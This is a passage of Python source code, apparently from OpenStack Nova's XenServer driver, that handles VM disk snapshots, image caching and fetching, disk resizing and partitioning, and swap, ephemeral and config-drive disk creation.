vbd_refs = session.call_xenapi("VM.get_VBDs", vm_ref) for vbd_ref in vbd_refs: vdi_ref = session.call_xenapi("VBD.get_VDI", vbd_ref) _try_strip_base_mirror_from_vdi(session, vdi_ref) def _delete_snapshots_in_vdi_chain(session, instance, vdi_uuid_chain, sr_ref): possible_snapshot_parents = vdi_uuid_chain[1:] if len(possible_snapshot_parents) == 0: LOG.debug("No VHD chain.", instance=instance) return snapshot_uuids = _child_vhds(session, sr_ref, possible_snapshot_parents, old_snapshots_only=True) number_of_snapshots = len(snapshot_uuids) if number_of_snapshots <= 0: LOG.debug("No snapshots to remove.", instance=instance) return vdi_refs = [session.VDI.get_by_uuid(vdi_uuid) for vdi_uuid in snapshot_uuids] safe_destroy_vdis(session, vdi_refs) # ensure garbage collector has been run _scan_sr(session, sr_ref) LOG.info("Deleted %s snapshots.", number_of_snapshots, instance=instance) def remove_old_snapshots(session, instance, vm_ref): """See if there is an snapshot present that should be removed.""" LOG.debug("Starting remove_old_snapshots for VM", instance=instance) vm_vdi_ref, vm_vdi_rec = get_vdi_for_vm_safely(session, vm_ref) chain = _walk_vdi_chain(session, vm_vdi_rec['uuid']) vdi_uuid_chain = [vdi_rec['uuid'] for vdi_rec in chain] sr_ref = vm_vdi_rec["SR"] _delete_snapshots_in_vdi_chain(session, instance, vdi_uuid_chain, sr_ref) @contextlib.contextmanager def snapshot_attached_here(session, instance, vm_ref, label, userdevice='0', post_snapshot_callback=None): # impl method allow easier patching for tests return _snapshot_attached_here_impl(session, instance, vm_ref, label, userdevice, post_snapshot_callback) def _snapshot_attached_here_impl(session, instance, vm_ref, label, userdevice, post_snapshot_callback): """Snapshot the root disk only. Return a list of uuids for the vhds in the chain. """ LOG.debug("Starting snapshot for VM", instance=instance) # Memorize the VDI chain so we can poll for coalesce vm_vdi_ref, vm_vdi_rec = get_vdi_for_vm_safely(session, vm_ref, userdevice) chain = _walk_vdi_chain(session, vm_vdi_rec['uuid']) vdi_uuid_chain = [vdi_rec['uuid'] for vdi_rec in chain] sr_ref = vm_vdi_rec["SR"] # clean up after any interrupted snapshot attempts _delete_snapshots_in_vdi_chain(session, instance, vdi_uuid_chain, sr_ref) snapshot_ref = _vdi_snapshot(session, vm_vdi_ref) if post_snapshot_callback is not None: post_snapshot_callback(task_state=task_states.IMAGE_PENDING_UPLOAD) try: # When the VDI snapshot is taken a new parent is introduced. # If we have taken a snapshot before, the new parent can be coalesced. # We need to wait for this to happen before trying to copy the chain. _wait_for_vhd_coalesce(session, instance, sr_ref, vm_vdi_ref, vdi_uuid_chain) snapshot_uuid = _vdi_get_uuid(session, snapshot_ref) chain = _walk_vdi_chain(session, snapshot_uuid) vdi_uuids = [vdi_rec['uuid'] for vdi_rec in chain] yield vdi_uuids finally: safe_destroy_vdis(session, [snapshot_ref]) # TODO(johngarbut) we need to check the snapshot has been coalesced # now its associated VDI has been deleted. def get_sr_path(session, sr_ref=None): """Return the path to our storage repository This is used when we're dealing with VHDs directly, either by taking snapshots or by restoring an image in the DISK_VHD format. """ if sr_ref is None: sr_ref = safe_find_sr(session) pbd_rec = session.call_xenapi("PBD.get_all_records_where", 'field "host"="%s" and ' 'field "SR"="%s"' % (session.host_ref, sr_ref)) # NOTE(bobball): There can only be one PBD for a host/SR pair, but path is # not always present - older versions of XS do not set it. pbd_ref = list(pbd_rec.keys())[0] device_config = pbd_rec[pbd_ref]['device_config'] if 'path' in device_config: return device_config['path'] sr_rec = session.call_xenapi("SR.get_record", sr_ref) sr_uuid = sr_rec["uuid"] if sr_rec["type"] not in ["ext", "nfs"]: raise exception.NovaException( _("Only file-based SRs (ext/NFS) are supported by this feature." " SR %(uuid)s is of type %(type)s") % {"uuid": sr_uuid, "type": sr_rec["type"]}) return os.path.join(CONF.xenserver.sr_base_path, sr_uuid) def destroy_cached_images(session, sr_ref, all_cached=False, dry_run=False, keep_days=0): """Destroy used or unused cached images. A cached image that is being used by at least one VM is said to be 'used'. In the case of an 'unused' image, the cached image will be the only descendent of the base-copy. So when we delete the cached-image, the refcount will drop to zero and XenServer will automatically destroy the base-copy for us. The default behavior of this function is to destroy only 'unused' cached images. To destroy all cached images, use the `all_cached=True` kwarg. `keep_days` is used to destroy images based on when they were created. Only the images which were created `keep_days` ago will be deleted if the argument has been set. """ cached_images = _find_cached_images(session, sr_ref) destroyed = set() def destroy_cached_vdi(vdi_uuid, vdi_ref): LOG.debug("Destroying cached VDI '%s'", vdi_uuid) if not dry_run: destroy_vdi(session, vdi_ref) destroyed.add(vdi_uuid) for vdi_dict in cached_images.values(): vdi_ref = vdi_dict['vdi_ref'] vdi_uuid = session.call_xenapi('VDI.get_uuid', vdi_ref) if all_cached: destroy_cached_vdi(vdi_uuid, vdi_ref) continue # Unused-Only: Search for siblings # Chain length greater than two implies a VM must be holding a ref to # the base-copy (otherwise it would have coalesced), so consider this # cached image used. chain = list(_walk_vdi_chain(session, vdi_uuid)) if len(chain) > 2: continue elif len(chain) == 2: # Siblings imply cached image is used root_vdi_rec = chain[-1] children = _child_vhds(session, sr_ref, [root_vdi_rec['uuid']]) if len(children) > 1: continue cached_time = vdi_dict.get('cached_time') if cached_time is not None: if (int(time.time()) - int(cached_time)) / (3600 * 24) \ >= keep_days: destroy_cached_vdi(vdi_uuid, vdi_ref) else: LOG.debug("vdi %s can't be destroyed because the cached time is" " not specified", vdi_uuid) return destroyed def _find_cached_images(session, sr_ref): """Return a dict {image_id: {'vdi_ref': vdi_ref, 'cached_time': cached_time}} representing all cached images. """ cached_images = {} for vdi_ref, vdi_rec in _get_all_vdis_in_sr(session, sr_ref): try: image_id = vdi_rec['other_config']['image-id'] except KeyError: continue cached_time = vdi_rec['other_config'].get('cached-time') cached_images[image_id] = {'vdi_ref': vdi_ref, 'cached_time': cached_time} return cached_images def _find_cached_image(session, image_id, sr_ref): """Returns the vdi-ref of the cached image.""" name_label = _get_image_vdi_label(image_id) # For not pooled hosts, only name_lable is enough to get a cached image. # When in a xapi pool, each host may have a cached image using the # same name while xapi api will search all of them. Add SR to the filter # to ensure only one image returns. expr = ('field "name__label"="%(name_label)s" and field "SR" = "%(SR)s"' % {'name_label': name_label, 'SR': sr_ref}) recs = session.call_xenapi("VDI.get_all_records_where", expr) number_found = len(recs) if number_found > 0: if number_found > 1: LOG.warning("Multiple base images for image: %s", image_id) return list(recs.keys())[0] def _get_resize_func_name(session): brand = session.product_brand version = session.product_version # To maintain backwards compatibility. All recent versions # should use VDI.resize if version and brand: xcp = brand == 'XCP' r1_2_or_above = (version[0] == 1 and version[1] > 1) or version[0] > 1 xenserver = brand == 'XenServer' r6_or_above = version[0] > 5 if (xcp and not r1_2_or_above) or (xenserver and not r6_or_above): return 'VDI.resize_online' return 'VDI.resize' def _vdi_get_virtual_size(session, vdi_ref): size = session.call_xenapi('VDI.get_virtual_size', vdi_ref) return int(size) def _vdi_resize(session, vdi_ref, new_size): resize_func_name = _get_resize_func_name(session) session.call_xenapi(resize_func_name, vdi_ref, str(new_size)) def update_vdi_virtual_size(session, instance, vdi_ref, new_gb): virtual_size = _vdi_get_virtual_size(session, vdi_ref) new_disk_size = new_gb * units.Gi msg = ("Resizing up VDI %(vdi_ref)s from %(virtual_size)d " "to %(new_disk_size)d") LOG.debug(msg, {'vdi_ref': vdi_ref, 'virtual_size': virtual_size, 'new_disk_size': new_disk_size}, instance=instance) if virtual_size < new_disk_size: # For resize up. Simple VDI resize will do the trick _vdi_resize(session, vdi_ref, new_disk_size) elif virtual_size == new_disk_size: LOG.debug("No need to change vdi virtual size.", instance=instance) else: # NOTE(johngarbutt): we should never get here # but if we don't raise an exception, a user might be able to use # more storage than allowed by their chosen instance flavor msg = _("VDI %(vdi_ref)s is %(virtual_size)d bytes which is larger " "than flavor size of %(new_disk_size)d bytes.") msg = msg % {'vdi_ref': vdi_ref, 'virtual_size': virtual_size, 'new_disk_size': new_disk_size} LOG.debug(msg, instance=instance) raise exception.ResizeError(reason=msg) def resize_disk(session, instance, vdi_ref, flavor): size_gb = flavor.root_gb if size_gb == 0: reason = _("Can't resize a disk to 0 GB.") raise exception.ResizeError(reason=reason) sr_ref = safe_find_sr(session) clone_ref = _clone_vdi(session, vdi_ref) try: # Resize partition and filesystem down _auto_configure_disk(session, clone_ref, size_gb) # Create new VDI vdi_size = size_gb * units.Gi # NOTE(johannes): No resizing allowed for rescue instances, so # using instance['name'] is safe here new_ref = create_vdi(session, sr_ref, instance, instance['name'], 'root', vdi_size) new_uuid = session.call_xenapi('VDI.get_uuid', new_ref) # Manually copy contents over virtual_size = size_gb * units.Gi _copy_partition(session, clone_ref, new_ref, 1, virtual_size) return new_ref, new_uuid finally: destroy_vdi(session, clone_ref) def _auto_configure_disk(session, vdi_ref, new_gb): """Partition and resize FS to match the size specified by flavors.root_gb. This is a fail-safe to prevent accidentally destroying data on a disk erroneously marked as auto_disk_config=True. The criteria for allowing resize are: 1. 'auto_disk_config' must be true for the instance (and image). (If we've made it here, then auto_disk_config=True.) 2. The disk must have only one partition. 3. The file-system on the one partition must be ext3 or ext4. 4. We are not running in independent_compute mode (checked by vdi_attached) """ if new_gb == 0: LOG.debug("Skipping auto_config_disk as destination size is 0GB") return with vdi_attached(session, vdi_ref, read_only=False) as dev: partitions = _get_partitions(dev) if len(partitions) != 1: reason = _('Disk must have only one partition.') raise exception.CannotResizeDisk(reason=reason) num, start, old_sectors, fstype, name, flags = partitions[0] if fstype not in ('ext3', 'ext4'): reason = _('Disk contains a filesystem ' 'we are unable to resize: %s') raise exception.CannotResizeDisk(reason=(reason % fstype)) if num != 1: reason = _('The only partition should be partition 1.') raise exception.CannotResizeDisk(reason=reason) new_sectors = new_gb * units.Gi / SECTOR_SIZE _resize_part_and_fs(dev, start, old_sectors, new_sectors, flags) def try_auto_configure_disk(session, vdi_ref, new_gb): if CONF.xenserver.independent_compute: raise exception.NotSupportedWithOption( operation='auto_configure_disk', option='CONF.xenserver.independent_compute') try: _auto_configure_disk(session, vdi_ref, new_gb) except exception.CannotResizeDisk as e: LOG.warning('Attempted auto_configure_disk failed because: %s', e) def _make_partition(session, dev, partition_start, partition_end): dev_path = utils.make_dev_path(dev) # NOTE(bobball) If this runs in Dom0, parted will error trying # to re-read the partition table and return a generic error nova.privsep.fs.create_partition_table( dev_path, 'msdos', check_exit_code=not session.is_local_connection) nova.privsep.fs.create_partition( dev_path, 'primary', partition_start, partition_end, check_exit_code=not session.is_local_connection) partition_path = utils.make_dev_path(dev, partition=1) if session.is_local_connection: # Need to refresh the partitions nova.privsep.fs.create_device_maps(dev_path) # Sometimes the partition gets created under /dev/mapper, depending # on the setup in dom0. mapper_path = '/dev/mapper/%s' % os.path.basename(partition_path) if os.path.exists(mapper_path): return mapper_path return partition_path def _generate_disk(session, instance, vm_ref, userdevice, name_label, disk_type, size_mb, fs_type, fs_label=None): """Steps to programmatically generate a disk: 1. Create VDI of desired size 2. Attach VDI to Dom0 3. Create partition 3.a. If the partition type is supported by dom0 (currently ext3, swap) then create it while the VDI is attached to dom0. 3.b. If the partition type is not supported by dom0, attach the VDI to the domU and create there. This split between DomU/Dom0 ensures that we can create most VM types in the "isolated compute" case. 4. Create VBD between instance VM and VDI """ # 1. Create VDI sr_ref = safe_find_sr(session) ONE_MEG = units.Mi virtual_size = size_mb * ONE_MEG vdi_ref = create_vdi(session, sr_ref, instance, name_label, disk_type, virtual_size) try: # 2. Attach VDI to Dom0 (VBD hotplug) mkfs_in_dom0 = fs_type in ('ext3', 'swap') with vdi_attached(session, vdi_ref, read_only=False, dom0=True) as dev: # 3. Create partition partition_start = "2048" partition_end = "-" disk_management.make_partition(session, dev, partition_start, partition_end) if mkfs_in_dom0: disk_management.mkfs(session, dev, '1', fs_type, fs_label) # 3.a. dom0 does not support nfs/ext4, so may have to mkfs in domU if fs_type is not None and not mkfs_in_dom0: with vdi_attached(session, vdi_ref, read_only=False) as dev: partition_path = utils.make_dev_path(dev, partition=1) nova.privsep.fs.mkfs(fs_type, partition_path, fs_label) # 4. Create VBD between instance VM and VDI if vm_ref: create_vbd(session, vm_ref, vdi_ref, userdevice, bootable=False) except Exception: with excutils.save_and_reraise_exception(): msg = "Error while generating disk number: %s" % userdevice LOG.debug(msg, instance=instance, exc_info=True) safe_destroy_vdis(session, [vdi_ref]) return vdi_ref def generate_swap(session, instance, vm_ref, userdevice, name_label, swap_mb): # NOTE(jk0): We use a FAT32 filesystem for the Windows swap # partition because that is what parted supports. is_windows = instance['os_type'] == "windows" fs_type = "vfat" if is_windows else "swap" if CONF.xenserver.independent_compute and fs_type != "swap": raise exception.NotSupportedWithOption( operation='swap drives for Windows', option='CONF.xenserver.independent_compute') _generate_disk(session, instance, vm_ref, userdevice, name_label, 'swap', swap_mb, fs_type) def get_ephemeral_disk_sizes(total_size_gb): if not total_size_gb: return max_size_gb = 2000 if total_size_gb % 1024 == 0: max_size_gb = 1024 left_to_allocate = total_size_gb while left_to_allocate > 0: size_gb = min(max_size_gb, left_to_allocate) yield size_gb left_to_allocate -= size_gb def generate_single_ephemeral(session, instance, vm_ref, userdevice, size_gb, instance_name_label=None): if instance_name_label is None: instance_name_label = instance["name"] name_label = "%s ephemeral" % instance_name_label fs_label = "ephemeral" # TODO(johngarbutt) need to move DEVICE_EPHEMERAL from vmops to use it here label_number = int(userdevice) - 4 if label_number > 0: name_label = "%s (%d)" % (name_label, label_number) fs_label = "ephemeral%d" % label_number return _generate_disk(session, instance, vm_ref, str(userdevice), name_label, 'ephemeral', size_gb * 1024, CONF.default_ephemeral_format, fs_label) def generate_ephemeral(session, instance, vm_ref, first_userdevice, instance_name_label, total_size_gb): # NOTE(johngarbutt): max possible size of a VHD disk is 2043GB sizes = get_ephemeral_disk_sizes(total_size_gb) first_userdevice = int(first_userdevice) vdi_refs = [] try: for userdevice, size_gb in enumerate(sizes, start=first_userdevice): ref = generate_single_ephemeral(session, instance, vm_ref, userdevice, size_gb, instance_name_label) vdi_refs.append(ref) except Exception as exc: with excutils.save_and_reraise_exception(): LOG.debug("Error when generating ephemeral disk. " "Device: %(userdevice)s Size GB: %(size_gb)s " "Error: %(exc)s", { 'userdevice': userdevice, 'size_gb': size_gb, 'exc': exc}) safe_destroy_vdis(session, vdi_refs) def generate_iso_blank_root_disk(session, instance, vm_ref, userdevice, name_label, size_gb): _generate_disk(session, instance, vm_ref, userdevice, name_label, 'user', size_gb * 1024, CONF.default_ephemeral_format) def generate_configdrive(session, context, instance, vm_ref, userdevice, network_info, admin_password=None, files=None): sr_ref = safe_find_sr(session) vdi_ref = create_vdi(session, sr_ref, instance, 'config-2', 'configdrive', configdrive.CONFIGDRIVESIZE_BYTES) try: extra_md = {} if admin_password: extra_md['admin_pass'] = admin_password inst_md = instance_metadata.InstanceMetadata( instance, content=files, extra_md=extra_md, network_info=network_info, request_context=context) with configdrive.ConfigDriveBuilder(instance_md=inst_md) as cdb: with utils.tempdir() as tmp_path: tmp_file = os.path.join(tmp_path, 'configdrive') cdb.make_drive(tmp_file) # XAPI can only import a VHD file, so convert to vhd format vhd_file = '%s.vhd' % tmp_file with compute_utils.disk_ops_semaphore: processutils.execute('qemu-img', 'convert', '-Ovpc', tmp_file, vhd_file) vhd_file_size = os.path.getsize(vhd_file) with open(vhd_file) as file_obj: volume_utils.stream_to_vdi( session, instance, 'vhd', file_obj, vhd_file_size, vdi_ref) create_vbd(session, vm_ref, vdi_ref, userdevice, bootable=False, read_only=True) except Exception: with excutils.save_and_reraise_exception(): msg = "Error while generating config drive" LOG.debug(msg, instance=instance, exc_info=True) safe_destroy_vdis(session, [vdi_ref]) def _create_kernel_image(context, session, instance, name_label, image_id, image_type): """Creates kernel/ramdisk file from the image stored in the cache. If the image is not present in the cache, fetch it from glance. Returns: A list of dictionaries that describe VDIs """ if CONF.xenserver.independent_compute: raise exception.NotSupportedWithOption( operation='Non-VHD images', option='CONF.xenserver.independent_compute') filename = "" if CONF.xenserver.cache_images != 'none': new_image_uuid = uuidutils.generate_uuid() filename = disk_management.create_kernel_ramdisk( session, image_id, new_image_uuid) if filename == "": return _fetch_disk_image(context, session, instance, name_label, image_id, image_type) else: vdi_type = ImageType.to_string(image_type) return {vdi_type: dict(uuid=None, file=filename)} def create_kernel_and_ramdisk(context, session, instance, name_label): kernel_file = None ramdisk_file = None if instance['kernel_id']: vdis = _create_kernel_image(context, session, instance, name_label, instance['kernel_id'], ImageType.KERNEL) kernel_file = vdis['kernel'].get('file') if instance['ramdisk_id']: vdis = _create_kernel_image(context, session, instance, name_label, instance['ramdisk_id'], ImageType.RAMDISK) ramdisk_file = vdis['ramdisk'].get('file') return kernel_file, ramdisk_file def destroy_kernel_ramdisk(session, instance, kernel, ramdisk): if kernel or ramdisk: LOG.debug("Removing kernel/ramdisk files from dom0", instance=instance) disk_management.remove_kernel_ramdisk( session, kernel_file=kernel, ramdisk_file=ramdisk) def _get_image_vdi_label(image_id): return 'Glance Image %s' % image_id def _create_cached_image(context, session, instance, name_label, image_id, image_type, image_handler): sr_ref = safe_find_sr(session) sr_type = session.call_xenapi('SR.get_type', sr_ref) if CONF.use_cow_images and sr_type != "ext": LOG.warning("Fast cloning is only supported on default local SR " "of type ext. SR on this system was found to be of " "type %s. Ignoring the cow flag.", sr_type) @utils.synchronized('xenapi-image-cache' + image_id) def _create_cached_image_impl(context, session, instance, name_label, image_id, image_type, sr_ref): cache_vdi_ref = _find_cached_image(session, image_id, sr_ref) downloaded = False if cache_vdi_ref is None: downloaded = True vdis = _fetch_image(context, session, instance, name_label, image_id, image_type, image_handler) cache_vdi_ref = session.call_xenapi( 'VDI.get_by_uuid', vdis['root']['uuid']) session.call_xenapi('VDI.set_name_label', cache_vdi_ref, _get_image_vdi_label(image_id)) session.call_xenapi('VDI.set_name_description', cache_vdi_ref, 'root') session.call_xenapi('VDI.add_to_other_config', cache_vdi_ref, 'image-id', str(image_id)) session.call_xenapi('VDI.add_to_other_config', cache_vdi_ref, 'cached-time', str(int(time.time()))) if CONF.use_cow_images: new_vdi_ref = _clone_vdi(session, cache_vdi_ref) elif sr_type == 'ext': new_vdi_ref = _safe_copy_vdi(session, sr_ref, instance, cache_vdi_ref) else: new_vdi_ref = session.call_xenapi("VDI.copy", cache_vdi_ref, sr_ref) session.call_xenapi('VDI.set_name_label', new_vdi_ref, '') session.call_xenapi('VDI.set_name_description', new_vdi_ref, '') session.call_xenapi('VDI.remove_from_other_config', new_vdi_ref, 'image-id') vdi_uuid = session.call_xenapi('VDI.get_uuid', new_vdi_ref) return downloaded, vdi_uuid downloaded, vdi_uuid = _create_cached_image_impl(context, session, instance, name_label, image_id, image_type, sr_ref) vdis = {} vdi_type = ImageType.get_role(image_type) vdis[vdi_type] = dict(uuid=vdi_uuid, file=None) return downloaded, vdis def create_image(context, session, instance, name_label, image_id, image_type, image_handler): """Creates VDI from the image stored in the local cache. If the image is not present in the cache, it streams it from glance. Returns: A list of dictionaries that describe VDIs """ cache_images = CONF.xenserver.cache_images.lower() # Determine if the image is cacheable if image_type == ImageType.DISK_ISO: cache = False elif cache_images == 'all': cache = True elif cache_images == 'some': sys_meta = utils.instance_sys_meta(instance) try: cache = strutils.bool_from_string(sys_meta['image_cache_in_nova']) except KeyError: cache = False elif cache_images == 'none': cache = False else: LOG.warning("Unrecognized cache_images value '%s', defaulting to True", CONF.xenserver.cache_images) cache = True # Fetch (and cache) the image start_time = timeutils.utcnow() if cache: downloaded, vdis = _create_cached_image(context, session, instance, name_label, image_id, image_type, image_handler) else: vdis = _fetch_image(context, session, instance, name_label, image_id, image_type, image_handler) downloaded = True duration = timeutils.delta_seconds(start_time, timeutils.utcnow()) LOG.info("Image creation data, cacheable: %(cache)s, " "downloaded: %(downloaded)s duration: %(duration).2f secs " "for image %(image_id)s", {'image_id': image_id, 'cache': cache, 'downloaded': downloaded, 'duration': duration}) for vdi_type, vdi in vdis.items(): vdi_ref = session.call_xenapi('VDI.get_by_uuid', vdi['uuid']) _set_vdi_info(session, vdi_ref, vdi_type, name_label, vdi_type, instance) return vdis def _fetch_image(context, session, instance, name_label, image_id, image_type, image_handler): """Fetch image from glance based on image type. Returns: A single filename if image_type is KERNEL or RAMDISK A list of dictionaries that describe VDIs, otherwise """ if image_type == ImageType.DISK_VHD: vdis = _fetch_vhd_image(context, session, instance, image_id, image_handler) else: if CONF.xenserver.independent_compute: raise exception.NotSupportedWithOption( operation='Non-VHD images', option='CONF.xenserver.independent_compute') vdis = _fetch_disk_image(context, session, instance, name_label, image_id, image_type) for vdi_type, vdi in vdis.items(): vdi_uuid = vdi['uuid'] LOG.debug("Fetched VDIs of type '%(vdi_type)s' with UUID" " '%(vdi_uuid)s'", {'vdi_type': vdi_type, 'vdi_uuid': vdi_uuid}, instance=instance) return vdis def _make_uuid_stack(): # NOTE(sirp): The XenAPI plugins run under Python 2.4 # which does not have the `uuid` module. To work around this, # we generate the uuids here (under Python 2.6+) and # pass them as arguments return [uuidutils.generate_uuid() for i in range(MAX_VDI_CHAIN_SIZE)] def get_compression_level(): level = CONF.xenserver.image_compression_level if level is not None and (level < 1 or level > 9): LOG.warning("Invalid value '%d' for image_compression_level", level) return None return level def _fetch_vhd_image(context, session, instance, image_id, image_handler): """Tell glance to download an image and put the VHDs into the SR Returns: A list of dictionaries that describe VDIs """ LOG.debug("Asking xapi to fetch vhd image %s", image_id, instance=instance) vdis = image_handler.download_image( context, session, instance, image_id) # Ensure we can see the import VHDs as VDIs scan_default_sr(session) vdi_uuid = vdis['root']['uuid'] try: _check_vdi_size(context, session, instance, vdi_uuid) except Exception: with excutils.save_and_reraise_exception(): msg = "Error while checking vdi size" LOG.debug(msg, instance=instance, exc_info=True) for vdi in vdis.values(): vdi_uuid = vdi['uuid'] vdi_ref = session.call_xenapi('VDI.get_by_uuid', vdi_uuid) safe_destroy_vdis(session, [vdi_ref]) return vdis def _get_vdi_chain_size(session, vdi_uuid): """Compute the total size of a VDI chain, starting with the specified VDI UUID. This will walk the VDI chain to the root, add the size of each VDI into the total. """ size_bytes = 0 for vdi_rec in _walk_vdi_chain(session, vdi_uuid): cur_vdi_uuid = vdi_rec['uuid'] vdi_size_bytes = int(vdi_rec['physical_utilisation']) LOG.debug('vdi_uuid=%(cur_vdi_uuid)s vdi_size_bytes=' '%(vdi_size_bytes)d', {'cur_vdi_uuid': cur_vdi_uuid, 'vdi_size_bytes': vdi_size_bytes}) size_bytes += vdi_size_bytes return size_bytes def _check_vdi_size(context, session, instance, vdi_uuid): flavor = instance.get_flavor() allowed_size = (flavor.root_gb + VHD_SIZE_CHECK_FUDGE_FACTOR_GB) * units.Gi if not flavor.root_gb: # root_gb=0 indicates that we're disabling size checks return size = _get_vdi_chain_size(session, vdi_uuid) if size > allowed_size: LOG.error("Image size %(size)d exceeded flavor " "allowed size %(allowed_size)d", {'size': size, 'allowed_size': allowed_size}, instance=instance) raise exception.FlavorDiskSmallerThanImage( flavor_size=(flavor.root_gb * units.Gi), image_size=(size * units.Gi)) def _fetch_disk_image(context, session, instance, name_label, image_id, image_type): """Fetch the image from Glance NOTE: Unlike _fetch_vhd_image, this method does not use the Glance plugin; instead, it streams the disks through domU to the VDI directly. Returns: A single filename if image_type is KERNEL_RAMDISK A list of dictionaries that describe VDIs, otherwise """ # FIXME(sirp): Since the Glance plugin seems to be required for the # VHD disk, it may be worth using the plugin for both VHD and RAW and # DISK restores image_type_str = ImageType.to_string(image_type) LOG.debug("Fetching image %(image_id)s, type %(image_type_str)s", {'image_id': image_id, 'image_type_str': image_type_str}, instance=instance) if image_type == ImageType.DISK_ISO: sr_ref = _safe_find_iso_sr(session) else: sr_ref = safe_find_sr(session) glance_image = image_utils.GlanceImage(context, image_id) if glance_image.is_raw_tgz(): image = image_utils.RawTGZImage(glance_image) else: image = image_utils.RawImage(glance_image) virtual_size = image.get_size() vdi_size = virtual_size LOG.debug("Size for image %(image_id)s: %(virtual_size)d", {'image_id': image_id, 'virtual_size': virtual_size}, instance=instance) if image_type == ImageType.DISK: # Make room for MBR. vdi_size += MBR_SIZE_BYTES elif (image_type in (ImageType.KERNEL, ImageType.RAMDISK) and vdi_size > CONF.xenserver.max_kernel_ramdisk_size): max_size = CONF.xenserver.max_kernel_ramdisk_size raise exception.NovaException( _("Kernel/Ramdisk image is too large: %(vdi_size)d bytes, " "max %(max_size)d bytes") % {'vdi_size': vdi_size, 'max_size': max_size}) vdi_ref = create_vdi(session, sr_ref, instance, name_label, image_type_str, vdi_size) # From this point we have a VDI on Xen host; # If anything goes wrong, we need to remember its uuid. try: filename = None vdi_uuid = session.call_xenapi("VDI.get_uuid", vdi_ref) with vdi_attached(session, vdi_ref, read_only=False) as dev: _stream_disk( session, image.stream_to, image_type, virtual_size, dev) if image_type in (ImageType.KERNEL, ImageType.RAMDISK): # We need to invoke a plugin for copying the # content of the VDI into the proper path. LOG.debug("Copying VDI %s to /boot/guest on dom0", vdi_ref, instance=instance) cache_image = None if CONF.xenserver.cache_images != 'none': cache_image = image_id filename = disk_management.copy_vdi(session, vdi_ref, vdi_size, image_id=cache_image) # Remove the VDI as it is not needed anymore. destroy_vdi(session, vdi_ref) LOG.debug("Kernel/Ramdisk VDI %s destroyed", vdi_ref, instance=instance) vdi_role = ImageType.get_role(image_type) return {vdi_role: dict(uuid=None, file=filename)} else: vdi_role = ImageType.get_role(image_type) return {vdi_role: dict(uuid=vdi_uuid, file=None)} except (session.XenAPI.Failure, IOError, OSError) as e: # We look for XenAPI and OS failures. LOG.exception("Failed to fetch glance image", instance=instance) e.args = e.args + ([dict(type=ImageType.to_string(image_type), uuid=vdi_uuid, file=filename)],) raise def determine_disk_image_type(image_meta): """Disk Image Types are used to determine where the kernel will reside within an image. To figure out which type we're dealing with, we use the following rules: 1. If we're using Glance, we can use the image_type field to determine the image_type 2. If we're not using Glance, then we need to deduce this based on whether a kernel_id is specified. """ if not image_meta.obj_attr_is_set("disk_format"): return None disk_format_map = { 'ami': ImageType.DISK, 'aki': ImageType.KERNEL, 'ari': ImageType.RAMDISK, 'raw': ImageType.DISK_RAW, 'vhd': ImageType.DISK_VHD, 'iso': ImageType.DISK_ISO, } try: image_type = disk_format_map[image_meta.disk_format] except KeyError: raise exception.InvalidDiskFormat(disk_format=image_meta.disk_format) LOG.debug("Detected %(type)s format for image %(image)s", {'type': ImageType.to_string(image_type), 'image': image_meta}) return image_type def determine_vm_mode(instance, disk_image_type): current_mode = obj_fields.VMMode.get_from_instance(instance) if (current_mode == obj_fields.VMMode.XEN or current_mode == obj_fields.VMMode.HVM): return current_mode os_type = instance['os_type'] if os_type == "linux": return obj_fields.VMMode.XEN if os_type == "windows": return obj_fields.VMMode.HVM # disk_image_type specific default for backwards compatibility if disk_image_type == ImageType.DISK_VHD or \ disk_image_type == ImageType.DISK: return obj_fields.VMMode.XEN # most images run OK as HVM return obj_fields.VMMode.HVM def set_vm_name_label(session, vm_ref, name_label): session.call_xenapi("VM.set_name_label", vm_ref, name_label) def list_vms(session): vms = session.call_xenapi("VM.get_all_records_where", 'field "is_control_domain"="false" and ' 'field "is_a_template"="false" and ' 'field "resident_on"="%s"' % session.host_ref) for vm_ref in vms.keys(): yield vm_ref, vms[vm_ref] def lookup_vm_vdis(session, vm_ref): """Look for the VDIs that are attached to the VM.""" # Firstly we get the VBDs, then the VDIs. # TODO(Armando): do we leave the read-only devices? vbd_refs = session.call_xenapi("VM.get_VBDs", vm_ref) vdi_refs = [] if vbd_refs: for vbd_ref in vbd_refs: try: vdi_ref = session.call_xenapi("VBD.get_VDI", vbd_ref) # Test valid VDI vdi_uuid = session.call_xenapi("VDI.get_uuid", vdi_ref) LOG.debug('VDI %s is still available', vdi_uuid) vbd_other_config = session.call_xenapi("VBD.get_other_config", vbd_ref) if not vbd_other_config.get('osvol'): # This is not an attached volume vdi_refs.append(vdi_ref) except session.XenAPI.Failure: LOG.exception('Look for the VDIs failed') return vdi_refs def lookup(session, name_label, check_rescue=False): """Look the instance up and return it if available. :param:check_rescue: if True will return the 'name'-rescue vm if it exists, instead of just 'name' """ if check_rescue: result = lookup(session, name_label + '-rescue', False) if result: return result vm_refs = session.call_xenapi("VM.get_by_name_label", name_label) n = len(vm_refs) if n == 0: return None elif n > 1: raise exception.InstanceExists(name=name_label) else: return vm_refs[0] def preconfigure_instance(session, instance, vdi_ref, network_info): """Makes alterations to the image before launching as part of spawn. """ key = str(instance['key_data']) net = netutils.get_injected_network_template(network_info) metadata = instance['metadata'] # As mounting the image VDI is expensive, we only want do it once, # if at all, so determine whether it's required first, and then do # everything mount_required = key or net or metadata if not mount_required: return with vdi_attached(session, vdi_ref, read_only=False) as dev: _mounted_processing(dev, key, net, metadata) def lookup_kernel_ramdisk(session, vm): vm_rec = session.call_xenapi("VM.get_record", vm) if 'PV_kernel' in vm_rec and 'PV_ramdisk' in vm_rec: return (vm_rec['PV_kernel'], vm_rec['PV_ramdisk']) else: return (None, None) def is_snapshot(session, vm): vm_rec = session.call_xenapi("VM.get_record", vm) if 'is_a_template' in vm_rec and 'is_a_snapshot' in vm_rec: return vm_rec['is_a_template'] and vm_rec['is_a_snapshot'] else: return False def get_power_state(session, vm_ref): xapi_state = session.call_xenapi("VM.get_power_state", vm_ref) return XENAPI_POWER_STATE[xapi_state] def _vm_query_data_source(session, *args): """We're getting diagnostics stats from the RRDs which are updated every 5 seconds. It means that diagnostics information may be incomplete during first 5 seconds of VM life. In such cases method ``query_data_source()`` may raise a ``XenAPI.Failure`` exception or may return a `NaN` value. """ try: value = session.VM.query_data_source(*args) except session.XenAPI.Failure: return None if math.isnan(value): return None return value def compile_info(session, vm_ref): """Fill record with VM status information.""" return hardware.InstanceInfo(state=get_power_state(session, vm_ref)) def compile_instance_diagnostics(session, instance, vm_ref): xen_power_state = 